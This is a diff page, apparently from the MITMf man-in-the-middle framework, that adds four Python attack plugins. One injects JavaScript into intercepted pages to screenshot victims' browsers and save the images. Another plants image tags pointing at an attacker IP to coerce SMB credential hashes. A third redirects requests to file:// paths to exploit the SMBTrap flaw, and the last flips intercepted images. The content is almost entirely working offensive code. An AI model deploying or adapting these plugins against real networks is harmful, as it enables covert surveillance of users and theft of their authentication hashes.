# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import base64
|
||||
import urllib
|
||||
import re
|
||||
|
||||
from datetime import datetime
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class ScreenShotter(Inject, Plugin):
|
||||
name = 'ScreenShotter'
|
||||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
ver = '0.1'
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_payload = self.get_payload()
|
||||
self.interval = options.interval
|
||||
|
||||
def request(self, request):
|
||||
if 'saveshot' in request.uri:
|
||||
request.handle_post_output = True
|
||||
|
||||
client = request.client.getClientIP()
|
||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
|
||||
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
|
||||
except Exception as e:
|
||||
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
|
||||
|
||||
def get_payload(self):
|
||||
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
41
plugins/smbauth.py
Normal file
41
plugins/smbauth.py
Normal file
|
@ -0,0 +1,41 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class SMBAuth(Inject, Plugin):
|
||||
name = "SMBAuth"
|
||||
optname = "smbauth"
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
version = "0.1"
|
||||
|
||||
def initialize(self, options):
|
||||
self.ip = options.ip
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self._get_data()
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
'<img src=\"file://///%s\\image.jpg\">'\
|
||||
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.ip]*3)
|
||||
|
||||
def options(self, options):
|
||||
pass
|
38
plugins/smbtrap.py
Normal file
38
plugins/smbtrap.py
Normal file
|
@ -0,0 +1,38 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import random
|
||||
import string
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class SMBTrap(Plugin):
|
||||
name = "SMBTrap"
|
||||
optname = "smbtrap"
|
||||
desc = "Exploits the SMBTrap vulnerability on connected clients"
|
||||
version = "1.0"
|
||||
|
||||
def initialize(self, options):
|
||||
self.ip = options.ip
|
||||
|
||||
def responsestatus(self, request, version, code, message):
|
||||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||
|
||||
def responseheaders(self, response, request):
|
||||
self.clientlog.info("Trapping request to {}".format(request.headers['host']))
|
||||
rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8))
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path)
|
61
plugins/upsidedownternet.py
Normal file
61
plugins/upsidedownternet.py
Normal file
|
@ -0,0 +1,61 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from cStringIO import StringIO
|
||||
from plugins.plugin import Plugin
|
||||
from PIL import Image, ImageFile
|
||||
|
||||
class Upsidedownternet(Plugin):
|
||||
name = "Upsidedownternet"
|
||||
optname = "upsidedownternet"
|
||||
desc = 'Flips images 180 degrees'
|
||||
version = "0.1"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
def responseheaders(self, response, request):
|
||||
'''Kill the image skipping that's in place for speed reasons'''
|
||||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
|
||||
def response(self, response, request, data):
|
||||
try:
|
||||
isImage = getattr(request, 'isImage')
|
||||
except AttributeError:
|
||||
isImage = False
|
||||
|
||||
if isImage:
|
||||
try:
|
||||
#For some reason more images get parsed using the parser
|
||||
#rather than a file...PIL still needs some work I guess
|
||||
p = ImageFile.Parser()
|
||||
p.feed(data)
|
||||
im = p.close()
|
||||
im = im.transpose(Image.ROTATE_180)
|
||||
output = StringIO()
|
||||
im.save(output, format=self.imageType)
|
||||
data = output.getvalue()
|
||||
output.close()
|
||||
self.clientlog.info("Flipped image".format(response.getClientIP()))
|
||||
except Exception as e:
|
||||
self.clientlog.info("Error: {}".format(response.getClientIP(), e))
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
Loading…
Add table
Add a link
Reference in a new issue